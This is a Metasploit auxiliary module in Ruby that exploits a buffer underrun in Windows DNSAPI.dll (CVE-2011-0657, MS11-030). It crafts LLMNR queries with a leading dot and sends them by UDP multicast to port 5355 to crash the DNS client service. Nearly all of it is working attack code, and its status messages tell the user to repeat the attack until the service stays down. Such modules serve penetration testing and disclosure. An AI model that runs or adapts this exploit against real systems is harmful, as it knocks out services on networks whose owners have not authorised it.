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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Auxiliary
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  include Msf::Exploit::Remote::Udp
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  include Msf::Auxiliary::Dos
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  def initialize
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    super(
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      'Name'        => 'Microsoft Windows DNSAPI.dll LLMNR Buffer Underrun DoS',
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      'Description' => %q{
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          This module exploits a buffer underrun vulnerability in Microsoft's DNSAPI.dll
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        as distributed with Windows Vista and later without KB2509553. By sending a
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        specially crafted LLMNR query, containing a leading '.' character, an attacker
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        can trigger stack exhaustion or potentially cause stack memory corruption.
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        Although this vulnerability may lead to code execution, it has not been proven
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        to be possible at the time of this writing.
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        NOTE: In some circumstances, a '.' may be found before the top of the stack is
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        reached. In these cases, this module may not be able to cause a crash.
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      },
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      'Author'      => 'jduck',
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      'License'     => MSF_LICENSE,
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      'References'  =>
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        [
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          [ 'CVE', '2011-0657' ],
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          [ 'OSVDB', '71780' ],
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          [ 'MSB', 'MS11-030' ]
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        ],
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      'DisclosureDate' => 'Apr 12 2011')
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    register_options(
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      [
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        Opt::RPORT(5355),
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        Opt::RHOST('224.0.0.252')
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      ])
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  end
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  def make_query(str)
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    pkt = ""
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    # id
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    pkt << [rand(65535)].pack('n')
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    # flags
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    pkt << [(
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      '0' +     # qr
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      '0000' +  # opcode
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      '0' +     # conflict
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      '0' +     # truncation
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      '0' +     # tentative
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      '0000' +  # zero (reserved)
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      '0000'    # rcode
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      )].pack('B16')
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    # counts
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    pkt << [1,0,0,0].pack('n*')
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    if str[0,1] == "."
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      pkt << [str.length].pack('C')
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    end
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    pkt << str + "\x00"
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    # type / class (PTR/IN)
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    pkt << [0x0c, 0x01].pack('n*')
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    pkt
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  end
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  def run
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    connect_udp
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    # query
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    # various compressed queries
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    #pkt << "\x03" + ("%d" % 192)
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    #pkt << "\x03" + "144" + "\x01" + "0" + "\x03" + "168" + "\x03" + "192"
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    #pkt << ("\x01" + '1') * 0x20
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    #pkt << "\x01" + '.'
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    #pkt << ("\x01\x2e") + "\x01" + "0"
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    #pkt << "\x07" + 'in-addr' + "\x04" + 'arpa' + "\x00"
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    #pkt << "\x03" + 'ip6' + "\x04" + 'arpa' + "\x00"
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    #pkt << ".e.e.e.e.e.e.e.e.e.e.e.e.e.e.e.e.0.0.0.0.0.0.0.0.0.0.0.0.0.8.e.f".gsub('.', "\x01") + "\x03ip6\x04arpa\x00"
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    pkt = make_query(".1.1.ip6.arpa")
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    print_status("Sending Ipv6 LLMNR query to #{rhost}")
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    udp_sock.put(pkt)
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    pkt = make_query(".1.1.in-addr.arpa")
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    print_status("Sending Ipv4 LLMNR query to #{rhost}")
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    udp_sock.put(pkt)
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    print_status("Note, in a default configuration, the service will restart automatically twice.")
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    print_status("In order to ensure it is completely dead, wait up to 5 minutes and run it again.")
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    disconnect_udp
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  end
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end
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